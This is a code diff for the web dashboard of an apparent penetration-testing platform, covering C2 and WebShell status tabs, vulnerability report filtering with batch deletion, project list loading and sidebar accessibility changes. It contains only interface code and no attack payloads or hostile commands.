+        formatMarkdownToHtml: formatMarkdownToHtml,
+        sanitizeRichHtml: sanitizeRichHtml,
+        isHeavyRawHtml: isHeavyRawHtml,
+        looksLikeMarkdown: looksLikeMarkdown,
+        escapeHtmlLocal: escapeHtmlLocal,
+        stripSuspiciousImages: stripSuspiciousImages,
+    };
+
+    global.formatMarkdown = function formatMarkdown(text, options) {
+        return formatMarkdownToHtml(text, options);
+    };
+})(typeof window !== 'undefined' ? window : globalThis);

web/static/js/settings.js

@@ -61,21 +61,25 @@ window.syncC2NavOnceFromServer = async function syncC2NavOnceFromServer() {
     }
 };
 
-// 根据 C2 是否启用显示主导航 C2 入口与仪表盘 C2 区块（与 /api/config 的 c2.enabled 一致）
+// 根据 C2 是否启用显示主导航 C2 入口与仪表盘接入概览中的 C2 子块（与 /api/config 的 c2.enabled 一致）
 function syncC2NavFromConfig(cfg) {
     const on = cfg && cfg.c2 && cfg.c2.enabled !== false;
     const nav = document.getElementById('nav-c2');
     if (nav) {
         nav.style.display = on ? '' : 'none';
     }
-    const dash = document.getElementById('dashboard-section-c2');
-    if (dash) {
+    const c2Tab = document.getElementById('dashboard-access-tab-c2');
+    if (c2Tab) {
         if (!on) {
-            dash.hidden = true;
+            c2Tab.hidden = true;
         } else {
-            dash.removeAttribute('hidden');
+            c2Tab.removeAttribute('hidden');
         }
     }
+    window.__c2Enabled = on;
+    if (typeof syncDashboardAccessTabs === 'function') {
+        syncDashboardAccessTabs();
+    }
 }
 
 // 切换设置分类
@@ -1375,11 +1379,6 @@ function fillVisionConfigFromCurrent(v) {
         const d = (v.detail || 'low').toString().toLowerCase();
         det.value = ['low', 'auto', 'high'].includes(d) ? d : 'low';
     }
-    const rootsEl = document.getElementById('vision-allowed-roots');
-    if (rootsEl) {
-        const roots = Array.isArray(v.allowed_roots) ? v.allowed_roots : [];
-        rootsEl.value = roots.join('\n');
-    }
     syncVisionFormEnabled();
 }
 
@@ -1388,8 +1387,6 @@ function collectVisionConfigFromForm() {
         const n = parseInt(document.getElementById(id)?.value, 10);
         return Number.isNaN(n) ? fallback : n;
     };
-    const rootsRaw = document.getElementById('vision-allowed-roots')?.value || '';
-    const allowed_roots = rootsRaw.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
     const provider = document.getElementById('vision-provider')?.value.trim() || '';
     return {
         enabled: document.getElementById('vision-enabled')?.checked === true,
@@ -1403,8 +1400,7 @@ function collectVisionConfigFromForm() {
         jpeg_quality: parseIntOr('vision-jpeg-quality', 82),
         max_payload_bytes: parseIntOr('vision-max-payload-bytes', 524288),
         skip_preprocess_below_bytes: parseIntOr('vision-skip-preprocess-bytes', 2097152),
-        detail: document.getElementById('vision-detail')?.value || 'low',
-        allowed_roots: allowed_roots
+        detail: document.getElementById('vision-detail')?.value || 'low'
     };
 }
 

web/static/js/skills.js

@@ -468,6 +468,11 @@ function showAddSkillModal() {
     modal.style.display = 'flex';
 }
 
+function skillPackagePathDepth(path) {
+    if (!path) return 0;
+    return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
+}
+
 function renderSkillPackageTree() {
     const el = document.getElementById('skill-package-tree');
     if (!el) return;
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
     }
     el.innerHTML = rows.map(f => {
         const path = f.path || '';
+        const indent = 8 + skillPackagePathDepth(path) * 14;
         if (f.is_dir) {
-            return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
+            const dirLabel = path.endsWith('/') ? path : path + '/';
+            return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
+                `<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
+                `<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
+                `</div>`;
         }
-        const sel = path === skillActivePath
-            ? 'font-weight:600;background:rgba(99,102,241,0.12);'
-            : '';
-        return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
+        const selected = path === skillActivePath ? ' is-selected' : '';
+        return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
+            `<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
+            `<span class="skill-tree-label">${escapeHtml(path)}</span>` +
+            `</div>`;
     }).join('');
     el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
         node.addEventListener('click', () => {

web/static/js/tasks.js

@@ -819,12 +819,19 @@ async function refreshBatchProjectSelectOptions() {
     projectSelect.innerHTML = `<option value="">${escapeHtml(noneLabel)}</option>`;
 
     try {
-        const response = await apiFetch('/api/projects?status=active&limit=200');
-        if (!response.ok) {
-            throw new Error(_t('projects.loadProjectsFailed'));
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects(false);
+        } else {
+            const response = await apiFetch('/api/projects?status=active&limit=500');
+            if (!response.ok) {
+                throw new Error(_t('projects.loadProjectsFailed'));
+            }
+            const data = await response.json();
+            list = typeof parseProjectsListResponse === 'function'
+                ? parseProjectsListResponse(data).items
+                : (Array.isArray(data) ? data : (data.projects || []));
         }
-        const projects = await response.json();
-        const list = Array.isArray(projects) ? projects : [];
         const activeProjectId = typeof getActiveProjectId === 'function' ? getActiveProjectId() || '' : '';
 
         list.forEach((project) => {

web/static/js/vulnerability.js

@@ -720,7 +720,7 @@ async function loadVulnerabilityStats() {
             throw new Error('apiFetch未定义');
         }
 
-        const params = buildVulnerabilityFilterParams();
+        const params = buildVulnerabilityDashboardStatsParams();
 
         const response = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
         if (!response.ok) {
@@ -855,11 +855,6 @@ function renderVulnerabilities(vulnerabilities) {
         if (typeof window.applyTranslations === 'function') {
             window.applyTranslations(listContainer);
         }
-        // 清空分页信息
-        const paginationContainer = document.getElementById('vulnerability-pagination');
-        if (paginationContainer) {
-            paginationContainer.innerHTML = '';
-        }
         return;
     }
 
@@ -960,12 +955,6 @@ function renderVulnerabilityPagination() {
 
     const { currentPage, totalPages, total, pageSize } = vulnerabilityPagination;
 
-    // 如果没有数据，不显示分页控件
-    if (total === 0) {
-        paginationContainer.innerHTML = '';
-        return;
-    }
-
     // 计算显示范围
     const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
     const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
@@ -1052,13 +1041,23 @@ async function populateVulnerabilityModalProjectSelect(selectedId) {
     const sel = document.getElementById('vulnerability-project-id');
     if (!sel) return;
     try {
-        const res = await apiFetch('/api/projects?limit=200');
-        if (res.ok) {
-            const list = await res.json();
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects();
+        } else {
+            const res = await apiFetch('/api/projects?limit=500');
+            if (res.ok) {
+                const data = await res.json();
+                list = typeof parseProjectsListResponse === 'function'
+                    ? parseProjectsListResponse(data).items
+                    : (Array.isArray(data) ? data : (data.projects || []));
+            }
+        }
+        if (list.length) {
             if (typeof rebuildProjectNameMap === 'function') {
                 rebuildProjectNameMap(list);
             } else if (typeof projectNameById !== 'undefined') {
-                (list || []).forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
+                list.forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
             }
         }
     } catch (e) {
@@ -1531,6 +1530,13 @@ function buildVulnerabilityFilterParams() {
     return params;
 }
 
+/** 看板统计：保留项目/关键词等筛选，但不带严重度（卡片本身用于切换严重度筛选） */
+function buildVulnerabilityDashboardStatsParams() {
+    const params = buildVulnerabilityFilterParams();
+    params.delete('severity');
+    return params;
+}
+
 function triggerTextDownload(fileName, content) {
     const blob = new Blob([content], { type: 'text/markdown;charset=utf-8' });
     const url = URL.createObjectURL(blob);
@@ -1543,6 +1549,53 @@ function triggerTextDownload(fileName, content) {
     URL.revokeObjectURL(url);
 }
 
+function hasActiveVulnerabilityFilters() {
+    const keys = ['q', 'id', 'project_id', 'conversation_id', 'task_id', 'conversation_tag', 'task_tag', 'severity', 'status'];
+    return keys.some(function (k) {
+        return Boolean(vulnerabilityFilters[k]);
+    });
+}
+
+async function batchDeleteVulnerabilityReports() {
+    try {
+        const params = buildVulnerabilityFilterParams();
+        const statsResponse = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
+        if (!statsResponse.ok) {
+            throw new Error(vulnT('vulnerabilityPage.deleteFailed'));
+        }
+        const stats = await statsResponse.json();
+        const count = stats.total || 0;
+        if (count <= 0) {
+            alert(vulnT('vulnerabilityPage.batchDeleteNoResults'));
+            return;
+        }
+
+        const confirmKey = hasActiveVulnerabilityFilters()
+            ? 'vulnerabilityPage.batchDeleteConfirm'
+            : 'vulnerabilityPage.batchDeleteConfirmAll';
+        if (!confirm(vulnT(confirmKey, { count: count }))) {
+            return;
+        }
+
+        const response = await apiFetch(`/api/vulnerabilities/batch?${params.toString()}`, {
+            method: 'DELETE'
+        });
+        if (!response.ok) {
+            const error = await response.json().catch(() => ({ error: vulnT('vulnerabilityPage.deleteFailed') }));
+            throw new Error(error.error || vulnT('vulnerabilityPage.deleteFailed'));
+        }
+        const data = await response.json();
+        const deleted = data.deleted || 0;
+        alert(vulnT('vulnerabilityPage.batchDeleteSuccess', { count: deleted }));
+        vulnerabilityPagination.currentPage = 1;
+        loadVulnerabilityStats();
+        loadVulnerabilities();
+    } catch (error) {
+        console.error('批量删除漏洞失败:', error);
+        alert(vulnT('vulnerabilityPage.batchDeleteFailed') + ': ' + error.message);
+    }
+}
+
 async function exportVulnerabilityReports() {
     try {
         const params = buildVulnerabilityFilterParams();
@@ -1668,9 +1721,17 @@ async function refreshVulnerabilityProjectFilter() {
     const sel = document.getElementById('vulnerability-project-filter');
     if (!sel) return;
     try {
-        const res = await apiFetch('/api/projects?limit=200');
-        if (!res.ok) return;
-        const list = await res.json();
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects(true);
+        } else {
+            const res = await apiFetch('/api/projects?limit=500');
+            if (!res.ok) return;
+            const data = await res.json();
+            list = typeof parseProjectsListResponse === 'function'
+                ? parseProjectsListResponse(data).items
+                : (Array.isArray(data) ? data : (data.projects || []));
+        }
         if (typeof rebuildProjectNameMap === 'function') {
             rebuildProjectNameMap(list);
         } else if (typeof projectNameById !== 'undefined') {

web/templates/index.html

@@ -221,7 +221,6 @@
                             </svg>
                         </div>
                         <div class="nav-submenu" id="submenu-c2">
-                            <div class="nav-submenu-item" data-page="c2" onclick="switchPage('c2')" data-i18n="nav.c2Manage">C2 管理</div>
                             <div class="nav-submenu-item" data-page="c2-listeners" onclick="switchPage('c2-listeners')" data-i18n="nav.c2Listeners">监听器</div>
                             <div class="nav-submenu-item" data-page="c2-sessions" onclick="switchPage('c2-sessions')" data-i18n="nav.c2Sessions">会话</div>
                             <div class="nav-submenu-item" data-page="c2-tasks" onclick="switchPage('c2-tasks')" data-i18n="nav.c2Tasks">任务</div>
@@ -574,76 +573,59 @@
                                             </div>
                                         </div>
                                     </section>
-                                    <section class="dashboard-section dashboard-section-recent-vulns">
-                                        <div class="dashboard-section-header">
-                                            <h3 class="dashboard-section-title" data-i18n="dashboard.recentVulns">最近漏洞</h3>
-                                            <a class="dashboard-section-link" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
+                                    <section class="dashboard-section dashboard-section-recent-feed">
+                                        <div class="dashboard-section-header dashboard-section-header--tabs">
+                                            <nav class="dashboard-feed-tabs" role="tablist" aria-label="最近漏洞与近期事实">
+                                                <button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-feed-tab-vulns" aria-selected="true" aria-controls="dashboard-feed-panel-vulns" onclick="switchDashboardFeedTab('vulns')" data-i18n="dashboard.recentVulns">最近漏洞</button>
+                                                <button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-feed-tab-facts" aria-selected="false" aria-controls="dashboard-feed-panel-facts" onclick="switchDashboardFeedTab('facts')" data-i18n="dashboard.recentFacts">近期事实</button>
+                                            </nav>
+                                            <a class="dashboard-section-link" id="dashboard-feed-view-all" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
                                         </div>
-                                        <div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
-                                            <div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
-                                        </div>
-                                    </section>
-                                    <!-- C2 概览：介于「最近漏洞」与「批量任务队列」之间 -->
-                                    <section class="dashboard-section dashboard-section-c2" id="dashboard-section-c2" hidden>
-                                        <div class="dashboard-section-header">
-                                            <h3 class="dashboard-section-title" data-i18n="dashboard.c2OverviewTitle">C2 概览</h3>
-                                            <a class="dashboard-section-link" onclick="switchPage('c2')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
-                                        </div>
-                                        <div class="dashboard-c2-strip">
-                                            <div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
-                                                <span class="dashboard-c2-stat-value" id="dashboard-c2-listeners-running">-</span>
-                                                <span class="dashboard-c2-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
+                                        <div class="dashboard-feed-panel" id="dashboard-feed-panel-vulns" role="tabpanel" aria-labelledby="dashboard-feed-tab-vulns">
+                                            <div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
+                                                <div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
                                             </div>
-                                            <div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
-                                                <span class="dashboard-c2-stat-value" id="dashboard-c2-sessions-online">-</span>
-                                                <span class="dashboard-c2-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
-                                            </div>
-                                            <div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
-                                                <span class="dashboard-c2-stat-value" id="dashboard-c2-tasks-pending">-</span>
-                                                <span class="dashboard-c2-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
+                                        </div>
+                                        <div class="dashboard-feed-panel" id="dashboard-feed-panel-facts" role="tabpanel" aria-labelledby="dashboard-feed-tab-facts" hidden>
+                                            <div class="dashboard-recent-facts" id="dashboard-recent-facts">
+                                                <div class="dashboard-recent-facts-empty" id="dashboard-recent-facts-empty" data-i18n="dashboard.noFactsYet">暂无近期事实</div>
                                             </div>
                                         </div>
                                     </section>
-                                    <section class="dashboard-section dashboard-section-overview">
-                                        <div class="dashboard-section-header">
-                                            <h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3>
-                                            <a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a>
+                                    <!-- 接入概览：C2 / WebShell Tab 切换（样式同「最近漏洞 / 近期事实」） -->
+                                    <section class="dashboard-section dashboard-section-access" id="dashboard-section-access" hidden>
+                                        <div class="dashboard-section-header dashboard-section-header--tabs">
+                                            <nav class="dashboard-feed-tabs" id="dashboard-access-tabs" role="tablist" aria-label="C2 与 WebShell" data-i18n="dashboard.accessTabsAria" data-i18n-attr="aria-label">
+                                                <button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-access-tab-c2" aria-selected="true" aria-controls="dashboard-access-panel-c2" onclick="switchDashboardAccessTab('c2')" data-i18n="nav.c2">C2</button>
+                                                <button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-access-tab-webshell" aria-selected="false" aria-controls="dashboard-access-panel-webshell" onclick="switchDashboardAccessTab('webshell')" data-i18n="dashboard.webshellLabel">WebShell</button>
+                                            </nav>
+                                            <a class="dashboard-section-link" id="dashboard-access-view-all" onclick="switchPage('c2-listeners')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
                                         </div>
-                                        <div class="dashboard-overview-list">
-                                            <div class="dashboard-overview-item dashboard-overview-item-batch" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }">
-                                                <span class="dashboard-overview-icon dashboard-overview-icon-batch" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg></span>
-                                                <div class="dashboard-overview-content">
-                                                    <div class="dashboard-overview-header">
-                                                        <span class="dashboard-overview-label" data-i18n="dashboard.batchQueues">批量任务队列</span>
-                                                        <span class="dashboard-overview-total" id="dashboard-batch-total">-</span>
-                                                    </div>
-                                                    <div class="dashboard-overview-stats">
-                                                        <span class="dashboard-overview-stat dashboard-overview-stat-pending">
-                                                            <span class="dashboard-overview-stat-badge badge-pending"></span>
-                                                            <span class="dashboard-overview-stat-value" id="dashboard-batch-pending">-</span>
-                                                            <span class="dashboard-overview-stat-label" data-i18n="dashboard.pending">待执行</span>
-                                                        </span>
-                                                        <span class="dashboard-overview-stat dashboard-overview-stat-running">
-                                                            <span class="dashboard-overview-stat-badge badge-running"></span>
-                                                            <span class="dashboard-overview-stat-value" id="dashboard-batch-running">-</span>
-                                                            <span class="dashboard-overview-stat-label" data-i18n="dashboard.executing">执行中</span>
-                                                        </span>
-                                                        <span class="dashboard-overview-stat dashboard-overview-stat-done">
-                                                            <span class="dashboard-overview-stat-badge badge-done"></span>
-                                                            <span class="dashboard-overview-stat-value" id="dashboard-batch-done">-</span>
-                                                            <span class="dashboard-overview-stat-label" data-i18n="dashboard.completed">已完成</span>
-                                                        </span>
-                                                    </div>
-                                                    <div class="dashboard-overview-progress">
-                                                        <div class="dashboard-overview-progress-bar">
-                                                            <div class="dashboard-overview-progress-segment dashboard-overview-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div>
-                                                            <div class="dashboard-overview-progress-segment dashboard-overview-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
-                                                            <div class="dashboard-overview-progress-segment dashboard-overview-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
-                                                        </div>
-                                                    </div>
+                                        <div class="dashboard-feed-panel" id="dashboard-access-panel-c2" role="tabpanel" aria-labelledby="dashboard-access-tab-c2">
+                                            <div class="dashboard-access-strip">
+                                                <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
+                                                    <span class="dashboard-access-stat-value" id="dashboard-c2-listeners-running">-</span>
+                                                    <span class="dashboard-access-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
+                                                </div>
+                                                <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
+                                                    <span class="dashboard-access-stat-value" id="dashboard-c2-sessions-online">-</span>
+                                                    <span class="dashboard-access-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
+                                                </div>
+                                                <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
+                                                    <span class="dashboard-access-stat-value" id="dashboard-c2-tasks-pending">-</span>
+                                                    <span class="dashboard-access-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
                                                 </div>
                                             </div>
                                         </div>
+                                        <div class="dashboard-feed-panel" id="dashboard-access-panel-webshell" role="tabpanel" aria-labelledby="dashboard-access-tab-webshell" hidden>
+                                            <div class="dashboard-access-strip dashboard-access-strip--webshell">
+                                                <div class="dashboard-access-stat dashboard-access-stat--webshell" role="button" tabindex="0" onclick="switchPage('webshell')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('webshell'); }" data-i18n="dashboard.webshellClickConnections" data-i18n-attr="title" title="查看连接">
+                                                    <span class="dashboard-access-stat-value" id="dashboard-webshell-connections">-</span>
+                                                    <span class="dashboard-access-stat-label" data-i18n="dashboard.webshellConnections">活跃连接</span>
+                                                </div>
+                                            </div>
+                                            <div class="dashboard-webshell-recent" id="dashboard-webshell-recent" hidden></div>
+                                        </div>
                                     </section>
                                     <!-- 推荐操作：基于当前数据状态智能生成（如「修复 4 个待处理严重漏洞」「审批 2 个 HITL」），
                                          比纯静态导航更有意义；当没有任何推荐时整个 section 隐藏 -->
@@ -656,6 +638,36 @@
                                     </section>
                                 </div>
                                 <div class="dashboard-side">
+                                    <section class="dashboard-section dashboard-section-batch-side">
+                                        <div class="dashboard-section-header">
+                                            <h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3>
+                                            <a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a>
+                                        </div>
+                                        <div class="dashboard-batch-side-body" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }">
+                                            <div class="dashboard-batch-side-total" id="dashboard-batch-total">-</div>
+                                            <div class="dashboard-batch-side-stats">
+                                                <div class="dashboard-batch-side-stat dashboard-batch-side-stat--pending">
+                                                    <span class="dashboard-batch-side-stat-value" id="dashboard-batch-pending">-</span>
+                                                    <span class="dashboard-batch-side-stat-label" data-i18n="dashboard.pending">待执行</span>
+                                                </div>
+                                                <div class="dashboard-batch-side-stat dashboard-batch-side-stat--running">
+                                                    <span class="dashboard-batch-side-stat-value" id="dashboard-batch-running">-</span>
+                                                    <span class="dashboard-batch-side-stat-label" data-i18n="dashboard.executing">执行中</span>
+                                                </div>
+                                                <div class="dashboard-batch-side-stat dashboard-batch-side-stat--done">
+                                                    <span class="dashboard-batch-side-stat-value" id="dashboard-batch-done">-</span>
+                                                    <span class="dashboard-batch-side-stat-label" data-i18n="dashboard.completed">已完成</span>
+                                                </div>
+                                            </div>
+                                            <div class="dashboard-batch-side-progress" aria-hidden="true">
+                                                <div class="dashboard-batch-side-progress-bar">
+                                                    <div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div>
+                                                    <div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
+                                                    <div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
+                                                </div>
+                                            </div>
+                                        </div>
+                                    </section>
                                     <section class="dashboard-section dashboard-section-tools">
                                         <div class="dashboard-section-header">
                                             <h3 class="dashboard-section-title" data-i18n="dashboard.toolsExecCount">工具执行次数</h3>
@@ -723,14 +735,6 @@
                                                 <span class="dashboard-resource-label" data-i18n="dashboard.agentsLabel">Agents</span>
                                                 <span class="dashboard-resource-value" id="dashboard-resource-agents">-</span>
                                             </a>
-                                            <!-- WebShell 连接：渗透落地后建立的 foothold，对安全运维场景非常关键 -->
-                                            <a class="dashboard-resource-item" onclick="switchPage('webshell')" role="button" tabindex="0">
-                                                <span class="dashboard-resource-icon dashboard-resource-icon-webshell" aria-hidden="true">
-                                                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
-                                                </span>
-                                                <span class="dashboard-resource-label" data-i18n="dashboard.webshellLabel">WebShell</span>
-                                                <span class="dashboard-resource-value" id="dashboard-resource-webshell">-</span>
-                                            </a>
                                         </div>
                                     </section>
                                 </div>
@@ -817,6 +821,7 @@
                                     <div id="conversations-list" class="conversations-list"></div>
                                 </div>
                             </div>
+                            <div id="conversations-pagination" class="sidebar-list-pagination conversation-sidebar-pagination"></div>
                             <div id="chat-reasoning-wrapper" class="chat-reasoning-wrapper conversation-reasoning-card conversation-reasoning-collapsed" style="display: none;">
                                 <button type="button" id="conversation-reasoning-toggle" class="conversation-reasoning-card-header" onclick="toggleConversationReasoningCard()" aria-expanded="false" aria-controls="conversation-reasoning-body" data-i18n="chat.reasoningCompactAria" data-i18n-attr="aria-label,title" data-i18n-skip-text="true" aria-label="模型推理选项" title="模型推理选项">
                                     <div class="conversation-reasoning-heading">
@@ -831,6 +836,11 @@
                                             <span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
                                         </div>
                                     </div>
+                                    <span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
+                                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
+                                            <path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
+                                        </svg>
+                                    </span>
                                 </button>
                                 <div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
                                     <p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效，与系统设置中的默认值合并。</p>
@@ -859,7 +869,7 @@
                                 </div>
                             </div>
                             <div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
-                                <div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()">
+                                <div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
                                     <div class="hitl-sidebar-heading">
                                         <span class="hitl-sidebar-icon" aria-hidden="true">
                                             <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -872,11 +882,11 @@
                                             <span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
                                         </div>
                                     </div>
-                                    <div class="hitl-sidebar-header-actions">
-                                        <button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
-                                            <span data-i18n="chat.hitlApply">应用</span>
-                                        </button>
-                                    </div>
+                                    <span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
+                                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
+                                            <path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
+                                        </svg>
+                                    </span>
                                 </div>
                                 <div class="hitl-sidebar-body" id="hitl-sidebar-body">
                                     <div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
@@ -894,6 +904,11 @@
                                             <textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
                                             <p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔；与 config 中全局白名单合并展示。</p>
                                         </div>
+                                        <div class="hitl-config-actions">
+                                            <button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
+                                                <span data-i18n="chat.hitlApply">应用</span>
+                                            </button>
+                                        </div>
                                     </div>
                                 </div>
                             </div>
@@ -1114,20 +1129,22 @@
                 </div>
 
                 <!-- MCP状态监控页面 -->
-                <div id="page-mcp-monitor" class="page">
+                <div id="page-mcp-monitor" class="page mcp-monitor-page">
                     <div class="page-header">
-<h2 data-i18n="mcp.monitorTitle">MCP 状态监控</h2>
-                    <button class="btn-secondary" onclick="refreshMonitorPanel()"><span data-i18n="common.refresh">刷新</span></button>
+                        <div class="page-header-main">
+                            <h2 data-i18n="mcp.monitorTitle">MCP 状态监控</h2>
+                            <p id="monitor-stats-subtitle" class="monitor-page-subtitle" hidden></p>
+                        </div>
+                        <div class="page-header-actions">
+                            <button type="button" class="btn-secondary btn-icon-text" onclick="refreshMonitorPanel()" aria-label="刷新">
+                                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="23 4 23 10 17 10"/><path d="M20.49 15a9 9 0 1 1-2.12-9.36L23 10"/></svg>
+                                <span data-i18n="common.refresh">刷新</span>
+                            </button>
+                        </div>
                     </div>
                     <div class="page-content">
                         <div class="monitor-sections">
                             <section class="monitor-section monitor-overview">
-                                <div class="section-header monitor-stats-section-header">
-                                    <div class="monitor-stats-header-text">
-                                        <h3 data-i18n="mcp.execStats">执行统计</h3>
